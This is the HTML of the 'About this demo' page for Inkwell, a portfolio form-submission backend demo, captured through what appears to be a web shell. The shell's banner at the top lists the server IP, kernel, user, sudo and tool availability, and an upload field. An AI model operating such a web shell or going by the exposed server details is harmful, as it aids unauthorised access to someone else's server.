| Server IP : 35.80.110.71 / Your IP : 216.73.216.221 Web Server : Apache/2.4.58 (Ubuntu) System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64 User : ubuntu ( 1000) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/inkwell-web/.next/server/app/ |
Upload File : |
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/chunks/0kg0y69b10g_a.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/2xx73w8k5o69w.js"/><script src="/_next/static/chunks/0_bmh1s0g_5m3.js" async=""></script><script src="/_next/static/chunks/390e59xl7grtx.js" async=""></script><script src="/_next/static/chunks/3ohch27k7twyd.js" async=""></script><script src="/_next/static/chunks/turbopack-03wq4cjebx0g9.js" async=""></script><script src="/_next/static/chunks/0e6vws3w6afjs.js" async=""></script><script src="/_next/static/chunks/31jk64s9j6agx.js" async=""></script><link rel="preload" href="https://www.googletagmanager.com/gtag/js?id=G-HZ8Z4XP611" as="script"/><title>Inkwell — form submission API with explainable spam scoring</title><meta name="description" content="Drop one HTML form tag onto your site. Inkwell catches submissions, scores them with a visible signal breakdown, and forwards to email + webhook + Slack + Discord + Google Sheets + HubSpot + Mailchimp."/><script src="/_next/static/chunks/0cz1d0mv5g_q7.js" noModule=""></script></head><body><div hidden=""><!--$--><!--/$--></div><header class="border-b border-(--color-paper-dim) bg-(--color-paper)"><div class="mx-auto flex max-w-6xl items-center justify-between px-6 py-5"><a class="text-lg font-bold tracking-tight text-(--color-ink) no-underline" href="/">Inkwell<span class="ml-2 rounded-full bg-(--color-accent-soft) px-2 py-0.5 text-xs font-medium text-(--color-accent) align-middle">portfolio demo</span></a><nav class="hidden md:flex items-center gap-6 text-sm text-(--color-ink-dim)"><a href="/live-demo">Live demo</a><a href="/reference">Reference</a><a href="/concepts/spam-scoring">Spam scoring</a><a href="/destinations">Destinations</a><a href="/widget">Widget</a><a href="/about">About</a></nav><button type="button" aria-label="Open menu" aria-expanded="false" aria-controls="site-mobile-nav" class="md:hidden inline-flex items-center justify-center rounded-md border border-(--color-paper-dim) p-2 text-(--color-ink) cursor-pointer"><svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="18" x2="21" y2="18"></line></svg></button></div></header><main class="mx-auto max-w-6xl px-6 py-10"><article class="prose pb-20"><h1 class="text-3xl font-bold tracking-tight">About this demo</h1><p>Inkwell is a portfolio demonstration by<!-- --> <a href="https://philiprehberger.com">Philip Rehberger</a>. It is not a production service. Don't point real production traffic at it; the live demo's form endpoints are sandboxed and the database wipes daily.</p><h2>Why this exists</h2><p>Most engineering portfolios stop at the README. A buyer evaluating a freelancer for a "buy vs build" decision on form-submission infrastructure has to extrapolate from "built a thing on GitHub" to "can run a real form backend with spam filtering, multi-destination fan-out, and a Filament admin where I'd actually want to live." The extrapolation is expensive. Inkwell exists to shorten it.</p><p>Where my sibling projects sell to API teams (<a href="https://github.com/philiprehberger/webhook-relay">webhook-relay</a>) or product teams (<a href="https://github.com/philiprehberger/pennant">pennant</a>), Inkwell is shaped for small businesses, marketing teams, and indie devs running a Webflow / Eleventy / static site who need a backend just for their contact form. The buyer profile is wider, the infrastructure flair is lighter, and the admin is a first-class artifact rather than a shell.</p><h2>What's "production-shaped" mean?</h2><p>The architecture is the architecture a real form backend would use: rate-limited public endpoint, JSON Schema validation, composable spam-scoring pipeline with explicit decision rules, multi-destination fan-out via Horizon, idempotency-keyed delivery jobs, audit log, compliance endpoints. But this is one person working on a portfolio — there is no on-call rotation, no five-nines SLA, no SOC2 audit. <em>Production-shaped, not production-grade.</em></p><h2>What I'd build for you</h2><p>If your team is debating buy vs build on a form backend, or you need a form-submission product that integrates with your existing stack (Zapier, Slack, CRM, sheets, …), the artifacts on this site are the kind of thing you'd be paying for. Contact me at<!-- --> <a href="https://philiprehberger.com">philiprehberger.com</a> or via<!-- --> <a href="https://www.upwork.com/freelancers/philiprehberger">Upwork</a>.</p><h2>What's <strong>not</strong> in v1</h2><p>This is the honest framing — what a real engagement would harden:</p><ul><li>Buyer-facing region residency switching (single S3 region per workspace currently).</li><li>Custom sender domain (per-buyer DKIM record publishing).</li><li>Notion / Airtable / Microsoft Teams / Pipedrive / Zoho CRM destinations.</li><li>Per-workspace spam classifier with feedback loop from Promote / Mark-Spam actions.</li><li>Multi-AZ + ASG disaster-recovery upgrade.</li><li>SOC2 / HIPAA copy.</li></ul></article><!--$--><!--/$--></main><footer class="border-t border-(--color-paper-dim) mt-20"><div class="mx-auto flex max-w-6xl items-center justify-between px-6 py-8 text-sm text-(--color-ink-dim)"><div>Inkwell is a portfolio demonstration by<!-- --> <a href="https://philiprehberger.com">Philip Rehberger</a>.</div><div class="flex gap-4"><a href="https://github.com/philiprehberger/inkwell">GitHub</a><a href="/legal/dpa">DPA</a><a href="/about">About</a></div></div></footer><script src="/_next/static/chunks/2xx73w8k5o69w.js" id="_R_" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[79404,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n3:I[88287,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n4:I[74895,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n5:I[4561,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"\"]\n6:I[70805,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\"]\n11:I[52576,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"default\",1]\n:HL[\"/_next/static/chunks/0kg0y69b10g_a.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"c\":[\"\",\"about\"],\"q\":\"\",\"i\":false,\"f\":[[[\"\",{\"children\":[\"about\",{\"children\":[\"__PAGE__\",{}]}]},\"$undefined\",\"$undefined\",16],[[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/0kg0y69b10g_a.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/0e6vws3w6afjs.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/31jk64s9j6agx.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[[\"$\",\"$L2\",null,{}],[\"$\",\"main\",null,{\"className\":\"mx-auto max-w-6xl px-6 py-10\",\"children\":[\"$\",\"$L3\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}],[\"$\",\"footer\",null,{\"className\":\"border-t border-(--color-paper-dim) mt-20\",\"children\":[\"$\",\"div\",null,{\"className\":\"mx-auto flex max-w-6xl items-center justify-between px-6 py-8 text-sm text-(--color-ink-dim)\",\"children\":[[\"$\",\"div\",null,{\"children\":[\"Inkwell is a portfolio demonstration by\",\" \",[\"$\",\"a\",null,{\"href\":\"https://philiprehberger.com\",\"children\":\"Philip Rehberger\"}],\".\"]}],[\"$\",\"div\",null,{\"className\":\"flex gap-4\",\"children\":[[\"$\",\"a\",null,{\"href\":\"https://github.com/philiprehberger/inkwell\",\"children\":\"GitHub\"}],[\"$\",\"$L5\",null,{\"href\":\"/legal/dpa\",\"children\":\"DPA\"}],[\"$\",\"$L5\",null,{\"href\":\"/about\",\"children\":\"About\"}]]}]]}]}],[\"$\",\"$L6\",null,{}]]}]}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L3\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"article\",null,{\"className\":\"prose pb-20\",\"children\":[[\"$\",\"h1\",null,{\"className\":\"text-3xl font-bold tracking-tight\",\"children\":\"About this demo\"}],[\"$\",\"p\",null,{\"children\":[\"Inkwell is a portfolio demonstration by\",\" \",[\"$\",\"a\",null,{\"href\":\"https://philiprehberger.com\",\"children\":\"Philip Rehberger\"}],\". It is not a production service. Don't point real production traffic at it; the live demo's form endpoints are sandboxed and the database wipes daily.\"]}],[\"$\",\"h2\",null,{\"children\":\"Why this exists\"}],[\"$\",\"p\",null,{\"children\":\"Most engineering portfolios stop at the README. A buyer evaluating a freelancer for a \\\"buy vs build\\\" decision on form-submission infrastructure has to extrapolate from \\\"built a thing on GitHub\\\" to \\\"can run a real form backend with spam filtering, multi-destination fan-out, and a Filament admin where I'd actually want to live.\\\" The extrapolation is expensive. Inkwell exists to shorten it.\"}],[\"$\",\"p\",null,{\"children\":[\"Where my sibling projects sell to API teams (\",[\"$\",\"a\",null,{\"href\":\"https://github.com/philiprehberger/webhook-relay\",\"children\":\"webhook-relay\"}],\") or product teams (\",[\"$\",\"a\",null,{\"href\":\"https://github.com/philiprehberger/pennant\",\"children\":\"pennant\"}],\"), Inkwell is shaped for small businesses, marketing teams, and indie devs running a Webflow / Eleventy / static site who need a backend just for their contact form. The buyer profile is wider, the infrastructure flair is lighter, and the admin is a first-class artifact rather than a shell.\"]}],\"$L7\",\"$L8\",\"$L9\",\"$La\",\"$Lb\",\"$Lc\",\"$Ld\"]}],null,\"$Le\"]}],{},null,false,null]},null,false,\"$@f\"]},null,false,null],\"$L10\",false]],\"m\":\"$undefined\",\"G\":[\"$11\",[\"$L12\"]],\"S\":true,\"h\":null,\"s\":\"$undefined\",\"l\":\"$undefined\",\"p\":\"$undefined\",\"d\":\"$undefined\",\"b\":\"BHZvYV9xiqkZOI0mrHgXj\"}\n"])</script><script>self.__next_f.push([1,"13:I[51858,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"OutletBoundary\"]\n14:\"$Sreact.suspense\"\n17:I[51858,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"ViewportBoundary\"]\n19:I[51858,[\"/_next/static/chunks/0e6vws3w6afjs.js\",\"/_next/static/chunks/31jk64s9j6agx.js\"],\"MetadataBoundary\"]\n7:[\"$\",\"h2\",null,{\"children\":\"What's \\\"production-shaped\\\" mean?\"}]\n8:[\"$\",\"p\",null,{\"children\":[\"The architecture is the architecture a real form backend would use: rate-limited public endpoint, JSON Schema validation, composable spam-scoring pipeline with explicit decision rules, multi-destination fan-out via Horizon, idempotency-keyed delivery jobs, audit log, compliance endpoints. But this is one person working on a portfolio — there is no on-call rotation, no five-nines SLA, no SOC2 audit. \",[\"$\",\"em\",null,{\"children\":\"Production-shaped, not production-grade.\"}]]}]\n9:[\"$\",\"h2\",null,{\"children\":\"What I'd build for you\"}]\na:[\"$\",\"p\",null,{\"children\":[\"If your team is debating buy vs build on a form backend, or you need a form-submission product that integrates with your existing stack (Zapier, Slack, CRM, sheets, …), the artifacts on this site are the kind of thing you'd be paying for. Contact me at\",\" \",[\"$\",\"a\",null,{\"href\":\"https://philiprehberger.com\",\"children\":\"philiprehberger.com\"}],\" or via\",\" \",[\"$\",\"a\",null,{\"href\":\"https://www.upwork.com/freelancers/philiprehberger\",\"children\":\"Upwork\"}],\".\"]}]\nb:[\"$\",\"h2\",null,{\"children\":[\"What's \",[\"$\",\"strong\",null,{\"children\":\"not\"}],\" in v1\"]}]\nc:[\"$\",\"p\",null,{\"children\":\"This is the honest framing — what a real engagement would harden:\"}]\nd:[\"$\",\"ul\",null,{\"children\":[[\"$\",\"li\",null,{\"children\":\"Buyer-facing region residency switching (single S3 region per workspace currently).\"}],[\"$\",\"li\",null,{\"children\":\"Custom sender domain (per-buyer DKIM record publishing).\"}],[\"$\",\"li\",null,{\"children\":\"Notion / Airtable / Microsoft Teams / Pipedrive / Zoho CRM destinations.\"}],[\"$\",\"li\",null,{\"children\":\"Per-workspace spam classifier with feedback loop from Promote / Mark-Spam actions.\"}],[\"$\",\"li\",null,{\"children\":\"Multi-AZ + ASG disaster-recovery upgrade.\"}],[\"$\",\"li\",null,{\"children\":\"SOC2 / HIPAA copy.\"}]]}]\ne:[\"$\",\"$L13\",null,{\"children\":[\"$\",\"$14\",null,{\"name\":\"Next.MetadataOutlet\",\"children\":\"$@15\"}]}]\n16:[]\nf:\"$W16\"\n10:[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$L17\",null,{\"children\":\"$L18\"}],[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$L19\",null,{\"children\":[\"$\",\"$14\",null,{\"name\":\"Next.Metadata\",\"children\":\"$L1a\"}]}]}],null]}]\n12:[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/0kg0y69b10g_a.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]\n"])</script><script>self.__next_f.push([1,"18:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n"])</script><script>self.__next_f.push([1,"15:null\n1a:[[\"$\",\"title\",\"0\",{\"children\":\"Inkwell — form submission API with explainable spam scoring\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Drop one HTML form tag onto your site. Inkwell catches submissions, scores them with a visible signal breakdown, and forwards to email + webhook + Slack + Discord + Google Sheets + HubSpot + Mailchimp.\"}]]\n"])</script></body></html>